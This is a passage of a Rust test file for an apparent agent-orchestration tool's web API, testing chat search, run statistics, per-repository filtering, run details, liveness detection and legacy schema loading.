15008 "created_at": "2026-09-01T00:00:00Z", "updated_at": "2026-09-01T00:00:00Z",
15009 "seat": seat,
15010 });
15011 let dir = f.home.path().join("talks");
15012 std::fs::create_dir_all(&dir).expect("talks dir");
15013 std::fs::write(dir.join(format!("{id}.json")), doc.to_string()).expect("write talk");
15014 }
15015
15016 #[tokio::test]
15017 async fn search_chats_reads_title_and_turns_and_counts_unreadable() {
15018 let f = Fixture::start().await;
15019 write_talk(
15020 &f,
15021 "20260901-000001-aaaa",
15022 "open",
15023 &[
15024 (
15025 "operator",
15026 "\n Why does the Pangolin cache expire?\nsecond line",
15027 ),
15028 ("agent", "Because the TTL is thirty seconds."),
15029 ],
15030 );
15031 write_talk(
15032 &f,
15033 "20260901-000002-bbbb",
15034 "closed",
15035 &[("operator", "unrelated"), ("agent", "The Zebra moved on.")],
15036 );
15037 std::fs::write(f.home.path().join("talks/broken.json"), "{ nope").expect("broken");
15038
15039 let search = |q: &'static str| {
15040 let f = &f;
15041 async move {
15042 f.get(&format!("/api/search?scope=chats&q={q}"))
15043 .await
15044 .json()
15045 }
15046 };
15047
15048 let v = search("PANGOLIN").await;
15049 assert_eq!(v["scope"], "chats");
15050 assert_eq!(v["total"], 1, "{v}");
15051 assert_eq!(v["hits"][0]["id"], "20260901-000001-aaaa");
15052 assert_eq!(v["hits"][0]["field"], "title");
15053 assert_eq!(v["unreadable"], 1, "{v}");
15054 let marked: Vec<&str> = v["hits"][0]["snippet"]
15055 .as_array()
15056 .unwrap()
15057 .iter()
15058 .filter(|p| p["hit"] == true)
15059 .map(|p| p["text"].as_str().unwrap())
15060 .collect();
15061 assert_eq!(marked, ["Pangolin"]);
15062
15063 let v = search("zebra").await;
15065 assert_eq!(v["total"], 1, "{v}");
15066 assert_eq!(v["hits"][0]["field"], "agent");
15067 assert_eq!(search("pangolin%20thirty").await["total"], 1);
15069 assert_eq!(search("pangolin%20zebra").await["total"], 0);
15070 for q in ["claude-agent", "SecretRepoPath", "open", "closed"] {
15072 assert_eq!(search(q).await["total"], 0, "{q}");
15073 }
15074 assert_eq!(search("second").await["hits"][0]["field"], "operator");
15076 assert_eq!(search("the").await["hits"][0]["id"], "20260901-000001-aaaa");
15078
15079 let v = f.get("/api/search?scope=nope&q=a").await;
15080 assert_eq!(v.status, 400);
15081 assert!(
15082 v.body.contains("scope must be runs, tasks or chats"),
15083 "{}",
15084 v.body
15085 );
15086 }
15087
15088 #[test]
15089 fn a_question_card_links_a_task_id_to_the_task_page() {
15090 let start = APP_JS
15091 .find("function updateAskCard(")
15092 .expect("updateAskCard exists");
15093 let body = &APP_JS[start..];
15094 let body = &body[..body.find("\n}\n").expect("function end")];
15095 assert!(body.contains("question.run_is_task"));
15096 assert!(body.contains("`#/tasks/${encodeURIComponent(question.run)}`"));
15097 assert!(body.contains("`#/runs/${question.run}`"));
15098 assert!(body.contains("\"task\" : \"run\""));
15099 }
15100
15101 #[test]
15102 fn plain_text_message_surfaces_go_through_linkify() {
15103 assert!(APP_JS.contains("function linkify("));
15104 assert!(!APP_JS.contains("class: \"event-msg\", text:"));
15105 assert!(!APP_JS.contains("class: \"notice-msg\", text:"));
15106 assert!(APP_JS.contains("linkify(el(\"span\", { class: \"event-msg\" })"));
15107 assert!(APP_JS.contains("linkify(el(\"div\", { class: \"notice-msg\" })"));
15108 assert!(!APP_JS.contains("innerHTML = text"));
15109 }
15110
15111 #[test]
15112 fn implementation_rate_views_keep_independent_samples() {
15113 for (competitive_n, solo_n) in [(0, 0), (9, 10), (10, 9)] {
15114 let a = stats::AgentStats {
15115 competitive_entered: competitive_n,
15116 competitive_wins: usize::from(competitive_n > 0),
15117 solo_entered: solo_n,
15118 solo_adopted: 2 * usize::from(solo_n > 0),
15119 ..Default::default()
15120 };
15121 let v = serde_json::to_value(AgentStatsView::from(&a)).unwrap();
15122 for (key, n, numerator) in [
15123 ("competitive_win_rate", competitive_n, a.competitive_wins),
15124 ("solo_adoption_rate", solo_n, a.solo_adopted),
15125 ] {
15126 if n == 0 {
15127 assert!(v[key].is_null());
15128 } else {
15129 assert_eq!(v[key]["denominator"], n);
15130 assert_eq!(v[key]["pct"], 100.0 * numerator as f64 / n as f64);
15131 }
15132 }
15133 }
15134 assert!(APP_JS.contains("rate: a.competitive_win_rate"));
15135 assert!(APP_JS.contains("rate: a.solo_adoption_rate"));
15136 assert!(APP_JS.contains("r.rate.denominator < STATS_LOW_N"));
15137 assert!(APP_JS.contains("const STATS_LOW_N = 10;"));
15138 }
15139
15140 #[test]
15141 fn stats_bars_share_one_id_keyed_plan() {
15142 let start = APP_JS
15143 .find("function statsBarRows(")
15144 .expect("statsBarRows exists");
15145 let body = &APP_JS[start..];
15146 let body = &body[..body.find("\n}\n").expect("function end")];
15147 assert!(body.contains("statsBarPlan(rows)"));
15148 assert!(body.contains("statsAgentTone(row.agent)"));
15149 assert!(!body.contains("candTone(i)"));
15150 assert!(APP_JS.contains("const STATS_LOW_N = 10;"));
15151 for root in [
15152 "stats-agents-bars",
15153 "stats-solo-bars",
15154 "stats-reviewers-bars",
15155 ] {
15156 assert!(APP_JS.contains(&format!("statsBarRows($(\"{root}\")")));
15157 }
15158 }
15159
15160 #[test]
15161 fn the_precision_scatter_is_a_pure_plan_in_the_agents_colour() {
15162 let start = APP_JS
15163 .find("function renderStatsReviewerScatter(")
15164 .expect("renderStatsReviewerScatter exists");
15165 let body = &APP_JS[start..];
15166 let body = &body[..body.find("\n}\n").expect("function end")];
15167 assert!(body.contains("statsScatterPlan(reviewers)"));
15168 assert!(body.contains("statsAgentTone(d.agent)"));
15169 assert!(APP_JS.contains("function statsScatterPlan("));
15170 assert!(
15171 APP_JS.contains("d.submitted < STATS_LOW_N")
15172 || APP_JS.contains("r.submitted < STATS_LOW_N")
15173 );
15174 assert!(INDEX_HTML.contains("id=\"stats-reviewers-scatter\""));
15175 assert!(APP_CSS.contains(".precision-scatter"));
15176 }
15177
15178 #[test]
15179 fn advisor_reflection_is_drawn_as_stacked_segments() {
15180 assert!(APP_JS.contains("statsReflectionRows($(\"stats-advisors-bars\")"));
15181 assert!(APP_JS.contains("const STATS_SEG_MIN = 4;"));
15182 let html = include_str!("../assets/ui/index.html");
15183 assert!(html.contains("Approximate"));
15184 for label in ["reflected strongly", "faint", "no proposal"] {
15185 assert!(html.contains(label));
15186 }
15187 let css = include_str!("../assets/ui/app.css");
15188 for c in ["refl-strong", "refl-faint", "refl-absent"] {
15189 assert!(css.contains(&format!(".{c} {{")));
15190 }
15191 }
15192
15193 #[test]
15194 fn stats_daily_chart_is_planned_purely_and_rendered_from_the_api() {
15195 assert!(APP_JS.contains("function statsDailyPlan("));
15196 assert!(APP_JS.contains("renderStatsDaily(s.daily)"));
15197 assert!(INDEX_HTML.contains("id=\"stats-daily\""));
15198 }
15199
15200 #[test]
15201 fn a_keystroke_invalidates_the_search_reply_still_in_flight() {
15202 let start = APP_JS
15203 .find("function scheduleSearch(")
15204 .expect("scheduleSearch exists");
15205 let body = &APP_JS[start..];
15206 let body = &body[..body.find("\n}\n").expect("function end")];
15207 assert!(body.contains("s.seq += 1"));
15208 }
15209
15210 #[tokio::test]
15215 async fn stats_runs_unreadable_matches_health() {
15216 let f = Fixture::start().await;
15217 write_run(&f.runs(), "20260902-140501-good", RunStatus::Ready);
15218 let broken = f.runs().join("20260902-140502-bad");
15219 std::fs::create_dir_all(&broken).expect("run dir");
15220 std::fs::write(broken.join("run.json"), "{ truncated").expect("write run.json");
15221
15222 let stats = f.get("/api/stats").await;
15223 let health = f.get("/api/health").await;
15224
15225 assert_eq!(stats.status, 200);
15226 assert_eq!(stats.json()["totals"]["runs"], 1);
15227 assert_eq!(stats.json()["runs_unreadable"], 1);
15228 assert_eq!(
15229 stats.json()["runs_unreadable"],
15230 health.json()["runs_unreadable"],
15231 "the dashboard and /api/health must never disagree about how many \
15232 runs could not be read"
15233 );
15234 }
15235
15236 #[tokio::test]
15237 async fn stats_verdict_breakdown_covers_stalled_and_in_progress_runs() {
15238 let f = Fixture::start().await;
15239 write_run(&f.runs(), "20260902-140501-a", RunStatus::Merged);
15240 write_run(&f.runs(), "20260902-140502-b", RunStatus::Stalled);
15241 write_run(&f.runs(), "20260902-140503-c", RunStatus::Implementing);
15242
15243 let totals = &f.get("/api/stats").await.json()["totals"];
15244 assert_eq!(totals["runs"], 3);
15245 assert_eq!(totals["merged"], 1);
15246 assert_eq!(totals["stalled"], 1);
15247 assert_eq!(totals["in_progress"], 1);
15248 assert_eq!(totals["blocked"], 0);
15251 assert_eq!(totals["ready"], 0);
15252 }
15253
15254 #[tokio::test]
15255 async fn stats_advisors_report_proposals_and_reflection() {
15256 use crate::advise::{Advice, AdvisorRecord, Reflection};
15257 use crate::verdict::Proposal;
15258
15259 let f = Fixture::start().await;
15260 let mut state = RunState::new(
15261 PathBuf::from("/repo/magi"),
15262 "main".to_owned(),
15263 "0123456789abcdef".to_owned(),
15264 "task".to_owned(),
15265 Config::default(),
15266 );
15267 state.id = "20260902-140501-a".to_owned();
15268 state.status = RunStatus::Merged;
15269 state.advice = Some(Advice {
15270 records: vec![
15271 AdvisorRecord {
15272 seat: "advisor-1".to_owned(),
15273 agent: "alpha".to_owned(),
15274 proposal: Some(Proposal {
15275 approach: "do it".to_owned(),
15276 key_tradeoff: "speed over memory".to_owned(),
15277 risks: Vec::new(),
15278 touches: Vec::new(),
15279 why_not_naive: "breaks under load".to_owned(),
15280 }),
15281 error: None,
15282 duration_ms: 0,
15283 reflection: Reflection::Strong,
15284 },
15285 AdvisorRecord {
15286 seat: "advisor-2".to_owned(),
15287 agent: "alpha".to_owned(),
15288 proposal: None,
15289 error: Some("timed out".to_owned()),
15290 duration_ms: 0,
15291 reflection: Reflection::Absent,
15292 },
15293 ],
15294 synthesis: Some("blended brief".to_owned()),
15295 });
15296 let dir = f.runs().join(&state.id);
15297 std::fs::create_dir_all(&dir).expect("run dir");
15298 std::fs::write(
15299 dir.join("run.json"),
15300 serde_json::to_string_pretty(&state).expect("serialize run"),
15301 )
15302 .expect("write run.json");
15303
15304 let advisors = f.get("/api/stats?all=true").await.json()["advisors"].clone();
15306 let alpha = advisors
15307 .as_array()
15308 .expect("an array")
15309 .iter()
15310 .find(|a| a["agent"] == "alpha")
15311 .expect("alpha row");
15312 assert_eq!(alpha["seated"], 2);
15313 assert_eq!(alpha["proposed"], 1);
15314 assert_eq!(alpha["absent"], 1);
15315 assert_eq!(alpha["strong"], 1);
15316 assert_eq!(alpha["faint"], 0);
15317 assert_eq!(alpha["reflection_rate"]["pct"], 100.0);
15318 }
15319
15320 #[tokio::test]
15321 async fn stats_hides_agents_outside_the_roster_unless_all() {
15322 use crate::run::Candidate;
15323 let repo = TempDir::new().expect("repo dir");
15324 std::fs::write(
15325 repo.path().join("magi.toml"),
15326 "[[agents]]\nid = \"keep\"\nkind = \"claude\"\n",
15327 )
15328 .expect("magi.toml");
15329 let f = Fixture::with_repo(repo.path().to_path_buf()).await;
15330 let mut state = RunState::new(
15331 PathBuf::from("/repo/magi"),
15332 "main".to_owned(),
15333 "0123456789abcdef".to_owned(),
15334 "task".to_owned(),
15335 Config::default(),
15336 );
15337 state.id = "20260902-140501-a".to_owned();
15338 state.status = RunStatus::Merged;
15339 for (label, agent) in [('A', "keep"), ('B', "retired")] {
15340 let mut c: Candidate = serde_json::from_value(serde_json::json!({
15341 "index": 0, "label": label.to_string(), "agent": agent,
15342 "branch": "b", "worktree": "/w",
15343 }))
15344 .expect("candidate");
15345 c.label = label;
15346 state.candidates.push(c);
15347 }
15348 let dir = f.runs().join(&state.id);
15349 std::fs::create_dir_all(&dir).expect("run dir");
15350 std::fs::write(
15351 dir.join("run.json"),
15352 serde_json::to_string_pretty(&state).expect("serialize run"),
15353 )
15354 .expect("write run.json");
15355
15356 let agents_of = |v: &serde_json::Value| -> Vec<String> {
15357 v["agents"]
15358 .as_array()
15359 .expect("array")
15360 .iter()
15361 .map(|a| a["agent"].as_str().unwrap().to_owned())
15362 .collect()
15363 };
15364 let hidden = f.get("/api/stats").await.json();
15365 assert_eq!(agents_of(&hidden), ["keep"]);
15366 assert_eq!(hidden["retired_hidden"], serde_json::json!(["retired"]));
15367 assert_eq!(hidden["totals"]["runs"], 1);
15368
15369 let all = f.get("/api/stats?all=true").await.json();
15370 assert_eq!(agents_of(&all).len(), 2);
15371 assert_eq!(all["retired_hidden"], serde_json::json!([]));
15372 let keep_agent = all["agents"]
15374 .as_array()
15375 .unwrap()
15376 .iter()
15377 .find(|a| a["agent"] == "keep")
15378 .unwrap();
15379 assert_eq!(keep_agent["competitive_entered"], 1);
15380 assert_eq!(keep_agent["competitive_wins"], 0);
15381 assert_eq!(keep_agent["competitive_win_rate"]["pct"], 0.0);
15382 assert_eq!(keep_agent["solo_entered"], 0);
15383 assert_eq!(keep_agent["solo_adopted"], 0);
15384 assert!(keep_agent["solo_adoption_rate"].is_null());
15385 }
15386
15387 #[tokio::test]
15388 async fn stats_release_bumps_split_clean_from_attention() {
15389 use crate::run::ReleaseBump;
15390
15391 let f = Fixture::start().await;
15392
15393 let mut clean = RunState::new(
15394 PathBuf::from("/repo/magi"),
15395 "main".to_owned(),
15396 "0123456789abcdef".to_owned(),
15397 "task".to_owned(),
15398 Config::default(),
15399 );
15400 clean.id = "20260902-140501-a".to_owned();
15401 clean.status = RunStatus::Merged;
15402 clean.release_bump = Some(ReleaseBump {
15403 pr_url: Some("https://github.com/o/r/pull/1".to_owned()),
15404 version: Some("1.0.0".to_owned()),
15405 automerge_enabled: true,
15406 merged_directly: false,
15407 local: false,
15408 release: None,
15409 problem: None,
15410 action_required: None,
15411 });
15412
15413 let mut blocked = RunState::new(
15414 PathBuf::from("/repo/magi"),
15415 "main".to_owned(),
15416 "0123456789abcdef".to_owned(),
15417 "task".to_owned(),
15418 Config::default(),
15419 );
15420 blocked.id = "20260902-140502-b".to_owned();
15421 blocked.status = RunStatus::Merged;
15422 blocked.release_bump = Some(ReleaseBump {
15423 pr_url: Some("https://github.com/o/r/pull/2".to_owned()),
15424 version: Some("1.0.1".to_owned()),
15425 automerge_enabled: false,
15426 merged_directly: false,
15427 local: false,
15428 release: None,
15429 problem: Some("checks red".to_owned()),
15430 action_required: Some("look at the PR".to_owned()),
15431 });
15432
15433 for state in [&clean, &blocked] {
15434 let dir = f.runs().join(&state.id);
15435 std::fs::create_dir_all(&dir).expect("run dir");
15436 std::fs::write(
15437 dir.join("run.json"),
15438 serde_json::to_string_pretty(state).expect("serialize run"),
15439 )
15440 .expect("write run.json");
15441 }
15442
15443 let bumps = f.get("/api/stats").await.json()["release_bumps"].clone();
15444 assert_eq!(bumps["merged"], 2);
15445 assert_eq!(bumps["recorded"], 2);
15446 assert_eq!(bumps["pr_opened"], 2);
15447 assert_eq!(bumps["automerge_enabled"], 1);
15448 assert_eq!(bumps["needs_attention"], 1);
15449 assert_eq!(bumps["clean"], 1);
15450 assert_eq!(bumps["coverage_rate"]["pct"], 100.0);
15451 assert_eq!(bumps["attention_rate"]["pct"], 50.0);
15452 }
15453
15454 #[tokio::test]
15455 async fn stats_release_bumps_rates_are_null_with_nothing_recorded() {
15456 let f = Fixture::start().await;
15457 write_run(&f.runs(), "20260902-140501-a", RunStatus::Merged);
15458
15459 let bumps = f.get("/api/stats").await.json()["release_bumps"].clone();
15460 assert_eq!(bumps["merged"], 1);
15461 assert_eq!(bumps["recorded"], 0);
15462 assert_eq!(bumps["coverage_rate"]["pct"], 0.0);
15465 assert_eq!(bumps["automerge_rate"], Value::Null);
15468 assert_eq!(bumps["attention_rate"], Value::Null);
15469 }
15470
15471 #[tokio::test]
15472 async fn stats_queue_counts_come_from_the_live_queue() {
15473 let f = Fixture::start().await;
15474 let q = f.queue();
15475 let mut queued = Task::new(
15476 "queued task".to_owned(),
15477 "do it".to_owned(),
15478 PathBuf::from("/repo"),
15479 Source::Human,
15480 );
15481 q.put(&mut queued).expect("put queued");
15482 let mut held = Task::new(
15483 "held task".to_owned(),
15484 "do it later".to_owned(),
15485 PathBuf::from("/repo"),
15486 Source::Human,
15487 );
15488 held.hold_machine(Some("out of attempts".to_owned()));
15489 q.put(&mut held).expect("put held");
15490
15491 let queue = f.get("/api/stats").await.json()["queue"].clone();
15492 assert_eq!(queue["queued"], 1);
15493 assert_eq!(queue["held"], 1);
15494 assert_eq!(queue["running"], 0);
15495 assert_eq!(queue["done"], 0);
15496 assert_eq!(queue["failed"], 0);
15497 assert_eq!(queue["blocked"], 0);
15498 }
15499
15500 #[tokio::test]
15501 async fn stats_on_an_empty_home_is_all_zero_not_an_error() {
15502 let f = Fixture::start().await;
15503 let stats = f.get("/api/stats").await;
15504 assert_eq!(stats.status, 200);
15505 assert_eq!(stats.json()["totals"]["runs"], 0);
15506 assert_eq!(stats.json()["totals"]["completion_rate"], Value::Null);
15507 assert_eq!(stats.json()["runs_unreadable"], 0);
15508 assert!(stats.json()["agents"].as_array().unwrap().is_empty());
15509 assert!(stats.json()["advisors"].as_array().unwrap().is_empty());
15510 assert!(stats.json()["repos"].as_array().unwrap().is_empty());
15511 assert_eq!(stats.json()["repo"], Value::Null);
15512 }
15513
15514 #[tokio::test]
15515 async fn stats_lists_every_repository_with_runs_recorded() {
15516 let f = Fixture::start().await;
15517 write_run_repo(
15518 &f.runs(),
15519 "20260902-140501-a",
15520 RunStatus::Merged,
15521 "/repos/a",
15522 );
15523 write_run_repo(
15524 &f.runs(),
15525 "20260902-140502-b",
15526 RunStatus::Merged,
15527 "/repos/a",
15528 );
15529 write_run_repo(
15530 &f.runs(),
15531 "20260902-140503-c",
15532 RunStatus::Blocked,
15533 "/repos/b",
15534 );
15535
15536 let stats = f.get("/api/stats").await;
15537 assert_eq!(stats.status, 200);
15538 assert_eq!(stats.json()["totals"]["runs"], 3);
15540 assert_eq!(stats.json()["repo"], Value::Null);
15541
15542 let repos = stats.json()["repos"].clone();
15543 let repos = repos.as_array().unwrap();
15544 assert_eq!(repos.len(), 2);
15545 assert_eq!(repos[0]["repo"], "/repos/a");
15547 assert_eq!(repos[0]["name"], "a");
15548 assert_eq!(repos[0]["runs"], 2);
15549 assert_eq!(repos[1]["repo"], "/repos/b");
15550 assert_eq!(repos[1]["runs"], 1);
15551 }
15552
15553 #[tokio::test]
15554 async fn stats_repo_query_narrows_the_aggregate_to_one_repository() {
15555 let f = Fixture::start().await;
15556 write_run_repo(
15557 &f.runs(),
15558 "20260902-140501-a",
15559 RunStatus::Merged,
15560 "/repos/a",
15561 );
15562 write_run_repo(
15563 &f.runs(),
15564 "20260902-140502-b",
15565 RunStatus::Blocked,
15566 "/repos/b",
15567 );
15568
15569 let stats = f.get("/api/stats?repo=%2Frepos%2Fa").await;
15570 assert_eq!(stats.status, 200);
15571 assert_eq!(stats.json()["totals"]["runs"], 1);
15572 assert_eq!(stats.json()["totals"]["merged"], 1);
15573 assert_eq!(stats.json()["repo"], "/repos/a");
15574 assert_eq!(stats.json()["repos"].as_array().unwrap().len(), 2);
15577 assert_eq!(stats.json()["runs_unreadable"], 0);
15580 }
15581
15582 #[tokio::test]
15583 async fn stats_daily_is_thirty_ascending_days_scoped_by_repo() {
15584 let f = Fixture::start().await;
15585 write_run_repo(
15586 &f.runs(),
15587 "20260902-140501-a",
15588 RunStatus::Merged,
15589 "/repos/a",
15590 );
15591 write_run_repo(
15592 &f.runs(),
15593 "20260902-140502-b",
15594 RunStatus::Merged,
15595 "/repos/b",
15596 );
15597
15598 for uri in ["/api/stats", "/api/stats?repo=%2Frepos%2Fa"] {
15599 let json = f.get(uri).await.json();
15600 let daily = json["daily"].as_array().expect("daily is an array");
15601 assert_eq!(daily.len(), 30);
15602 let dates: Vec<&str> = daily.iter().map(|d| d["date"].as_str().unwrap()).collect();
15603 let mut sorted = dates.clone();
15604 sorted.sort();
15605 assert_eq!(dates, sorted);
15606 for d in daily {
15607 assert_eq!(
15608 d["merged"].as_u64().unwrap()
15609 + d["ready"].as_u64().unwrap()
15610 + d["other"].as_u64().unwrap(),
15611 d["runs"].as_u64().unwrap()
15612 );
15613 }
15614 assert!(json["totals"]["runs"].as_u64().unwrap() >= 1);
15615 }
15616 }
15617
15618 #[tokio::test]
15619 async fn stats_repo_query_for_an_unknown_repo_is_a_404() {
15620 let f = Fixture::start().await;
15621 write_run_repo(
15622 &f.runs(),
15623 "20260902-140501-a",
15624 RunStatus::Merged,
15625 "/repos/a",
15626 );
15627
15628 let stats = f.get("/api/stats?repo=%2Frepos%2Fnope").await;
15629 assert_eq!(stats.status, 404);
15630 }
15631
15632 #[tokio::test]
15633 async fn a_run_is_summarised_for_the_list_and_served_whole_on_its_own_route() {
15634 let f = Fixture::start().await;
15635 write_run(&f.runs(), "20260902-140501-a1b2", RunStatus::Ready);
15636
15637 let summary = f.get("/api/runs").await.json();
15638 let row = &summary[0];
15639 assert_eq!(row["short"], "a1b2");
15640 assert_eq!(row["status"], "ready");
15641 assert_eq!(row["done"], true);
15642 assert_eq!(row["title"], "Add a web UI");
15643 assert_eq!(row["repo_name"], "magi");
15644 assert_eq!(row["judges"], 3);
15645 assert_eq!(row["winner"], Value::Null);
15646 assert_eq!(row["reviews"], 0);
15647
15648 let detail = f.get("/api/runs/a1b2").await;
15651 assert_eq!(detail.status, 200);
15652 assert_eq!(detail.json()["base_branch"], "main");
15653 assert_eq!(detail.json()["id"], "20260902-140501-a1b2");
15654 }
15655
15656 #[tokio::test]
15664 async fn a_mode_none_ready_run_is_flagged_unmerged_by_design_everywhere() {
15665 let f = Fixture::start().await;
15666
15667 let mut none_run = RunState::new(
15668 PathBuf::from("/repo/magi"),
15669 "main".to_owned(),
15670 "0123456789abcdef".to_owned(),
15671 "Add a web UI".to_owned(),
15672 Config::default(),
15673 );
15674 none_run.id = "20260902-140503-none".to_owned();
15675 none_run.status = RunStatus::Ready;
15676 none_run.merge = Some(crate::run::MergeOutcome {
15677 mode: crate::config::MergeMode::None,
15678 ok: true,
15679 detail: "git -C /repo merge --no-ff magi/x/A".to_owned(),
15680 empty: false,
15681 });
15682 write_state(&f.runs(), &none_run);
15683
15684 let mut pr_run = RunState::new(
15685 PathBuf::from("/repo/magi"),
15686 "main".to_owned(),
15687 "0123456789abcdef".to_owned(),
15688 "Add a web UI".to_owned(),
15689 Config::default(),
15690 );
15691 pr_run.id = "20260902-140504-prcl".to_owned();
15692 pr_run.status = RunStatus::Ready;
15693 pr_run.merge = Some(crate::run::MergeOutcome {
15694 mode: crate::config::MergeMode::Pr,
15695 ok: false,
15696 detail: "https://example.com/pr/1 was closed without merging".to_owned(),
15697 empty: false,
15698 });
15699 write_state(&f.runs(), &pr_run);
15700
15701 let summary = f.get("/api/runs").await.json();
15702 let rows: std::collections::HashMap<&str, &Value> = summary
15703 .as_array()
15704 .expect("an array")
15705 .iter()
15706 .map(|r| (r["id"].as_str().expect("an id"), r))
15707 .collect();
15708 assert_eq!(rows[none_run.id.as_str()]["status"], "ready");
15709 assert_eq!(
15710 rows[none_run.id.as_str()]["unmerged_by_design"],
15711 true,
15712 "a mode-none Ready must be flagged in the list"
15713 );
15714 assert_eq!(
15715 rows[pr_run.id.as_str()]["unmerged_by_design"],
15716 false,
15717 "a Ready reached by a closed pull request is a different case"
15718 );
15719
15720 let none_detail = f.get(&format!("/api/runs/{}", none_run.id)).await.json();
15721 assert_eq!(none_detail["status"], "ready");
15722 assert_eq!(none_detail["unmerged_by_design"], true);
15723
15724 let pr_detail = f.get(&format!("/api/runs/{}", pr_run.id)).await.json();
15725 assert_eq!(pr_detail["unmerged_by_design"], false);
15726 }
15727
15728 #[tokio::test]
15733 async fn run_detail_reports_active_seats_and_whether_a_daemon_confirms_them() {
15734 let f = Fixture::start().await;
15735 let id = "20260902-140502-bbbb";
15739 let mut state = RunState::new(
15740 PathBuf::from("/repo/magi"),
15741 "main".to_owned(),
15742 "0123456789abcdef".to_owned(),
15743 "Add a web UI".to_owned(),
15744 Config::default(),
15745 );
15746 state.id = id.to_owned();
15747 state.status = RunStatus::Judging;
15748 state.seat_started("judge", "judge-2", std::time::Duration::from_secs(120), 0);
15749 let dir = f.runs().join(id);
15750 std::fs::create_dir_all(&dir).expect("run dir");
15751 std::fs::write(
15752 dir.join("run.json"),
15753 serde_json::to_string_pretty(&state).expect("serialize run"),
15754 )
15755 .expect("write run.json");
15756
15757 let cold = f.get(&format!("/api/runs/{id}")).await.json();
15763 assert_eq!(cold["active"]["judge-2"]["node"], "judge");
15764 assert_eq!(cold["live"], "unknown", "{cold}");
15765
15766 write_daemon(f.home.path(), Timestamp::now());
15769 let warm = f.get(&format!("/api/runs/{id}")).await.json();
15770 assert_eq!(warm["live"], "live", "{warm}");
15771 }
15772
15773 #[test]
15774 fn schema_thirteen_loads_through_cli_and_web_without_rewriting() {
15775 let home = tempfile::tempdir().expect("temp home");
15776 let runs = home.path().join("runs");
15777 for origin in [None, Some(crate::run::Origin::queue("legacy-task"))] {
15778 let mut state = RunState::new(
15779 PathBuf::from("/repo/magi"),
15780 "main".to_owned(),
15781 "0123456789abcdef".to_owned(),
15782 "Generated review context, not authored task criteria".to_owned(),
15783 Config::default(),
15784 );
15785 state.origin = origin;
15786 state.status = RunStatus::Blocked;
15787 state.driver_exited = false;
15789 state.gate_ran = true;
15790 let expected = serde_json::to_value(&state).expect("serialize current state");
15791 let mut legacy = expected.clone();
15792 legacy["schema"] = serde_json::json!(13);
15793 legacy.as_object_mut().unwrap().remove("task_instruction");
15794 let dir = runs.join(&state.id);
15795 std::fs::create_dir_all(&dir).expect("run dir");
15796 let path = dir.join("run.json");
15797 let body = serde_json::to_vec_pretty(&legacy).expect("serialize legacy state");
15798 std::fs::write(&path, &body).expect("write legacy run");
15799
15800 for loaded in [
15801 RunState::load_under(&state.id, home.path()).expect("CLI migration"),
15802 read_run(&runs, &state.id).expect("web migration"),
15803 ] {
15804 assert_eq!(loaded.schema, crate::run::SCHEMA);
15805 assert!(loaded.task_instruction.is_none());
15806 assert_eq!(serde_json::to_value(loaded).unwrap(), expected);
15807 }
15808 assert_eq!(runs_unreadable(&runs), 0);
15809 assert_eq!(std::fs::read(&path).unwrap(), body);
15810 }
15811 }
15812
15813 #[tokio::test]
15816 async fn run_detail_shows_the_origin_and_reads_a_pre_origin_run_as_unknown() {
15817 let f = Fixture::start().await;
15818 let write = |id: &str, origin: Option<crate::run::Origin>, schema: Option<u32>| {
15819 let mut state = RunState::new(
15820 PathBuf::from("/repo/magi"),
15821 "main".to_owned(),
15822 "0123456789abcdef".to_owned(),
15823 "Add a web UI".to_owned(),
15824 Config::default(),
15825 );
15826 state.id = id.to_owned();
15827 state.origin = origin;
15828 let mut value = serde_json::to_value(&state).expect("serialize run");
15829 if let Some(schema) = schema {
15830 value["schema"] = serde_json::json!(schema);
15831 value.as_object_mut().unwrap().remove("origin");
15832 }
15833 let dir = f.runs().join(id);
15834 std::fs::create_dir_all(&dir).expect("run dir");
15835 std::fs::write(dir.join("run.json"), value.to_string()).expect("write run.json");
15836 };
15837 write(
15838 "20260930-092817-ec34",
15839 Some(crate::run::Origin::from_agent_env(
15840 Some(("4a7b".to_owned(), "chat".to_owned())),
15841 None,
15842 )),
15843 None,
15844 );
15845 write("20260930-092817-0ld1", None, Some(12));
15846
15847 let new = f.get("/api/runs/20260930-092817-ec34").await.json();
15848 assert_eq!(new["origin_label"], "chat 4a7b", "{new}");
15849 assert_eq!(new["origin"]["by"]["kind"], "chat", "{new}");
15850
15851 let old = f.get("/api/runs/20260930-092817-0ld1").await.json();
15852 assert_eq!(
15853 old["origin_label"], "origin unknown (started before origins were recorded)",
15854 "{old}"
15855 );
15856 assert!(old["origin"].is_null(), "{old}");
15857
15858 let list = f.get("/api/runs").await.json();
15859 let labels: Vec<_> = list
15860 .as_array()
15861 .unwrap()
15862 .iter()
15863 .map(|r| r["origin_label"].as_str().unwrap().to_owned())
15864 .collect();
15865 assert!(labels.contains(&"chat 4a7b".to_owned()), "{list}");
15866 }
15867
15868 #[tokio::test]
15875 async fn run_detail_reads_a_manual_run_with_a_live_driver_pid_as_live_without_a_daemon() {
15876 let f = Fixture::start().await;
15877 let id = "20260922-090000-cccc";
15878 let mut state = RunState::new(
15879 PathBuf::from("/repo/magi"),
15880 "main".to_owned(),
15881 "0123456789abcdef".to_owned(),
15882 "Review only".to_owned(),
15883 Config::default(),
15884 );
15885 state.id = id.to_owned();
15886 state.status = RunStatus::Reviewing;
15887 state.seat_started("review", "review-1", std::time::Duration::from_secs(120), 0);
15888 state.driver_pid = Some(std::process::id());
15894 state.driver_started_at = Some(
15895 crate::proc::process_started_at(std::process::id())
15896 .expect("this test process's own start time must be queryable"),
15897 );
15898 let dir = f.runs().join(id);
15899 std::fs::create_dir_all(&dir).expect("run dir");
15900 std::fs::write(
15901 dir.join("run.json"),
15902 serde_json::to_string_pretty(&state).expect("serialize run"),
15903 )
15904 .expect("write run.json");
15905
15906 let detail = f.get(&format!("/api/runs/{id}")).await.json();
15907 assert_eq!(detail["live"], "live", "{detail}");
15908 }
15909
15910 #[tokio::test]
15916 async fn run_detail_reads_a_live_pid_as_dead_once_its_start_time_no_longer_matches() {
15917 let f = Fixture::start().await;
15918 let id = "20260922-090100-dddd";
15919 let mut state = RunState::new(
15920 PathBuf::from("/repo/magi"),
15921 "main".to_owned(),
15922 "0123456789abcdef".to_owned(),
15923 "Review only".to_owned(),
15924 Config::default(),
15925 );
15926 state.id = id.to_owned();
15927 state.status = RunStatus::Reviewing;
15928 state.seat_started("review", "review-1", std::time::Duration::from_secs(120), 0);
15929 state.driver_pid = Some(std::process::id());
15934 state.driver_started_at = Some("1".to_owned());
15935 let dir = f.runs().join(id);
15936 std::fs::create_dir_all(&dir).expect("run dir");
15937 std::fs::write(
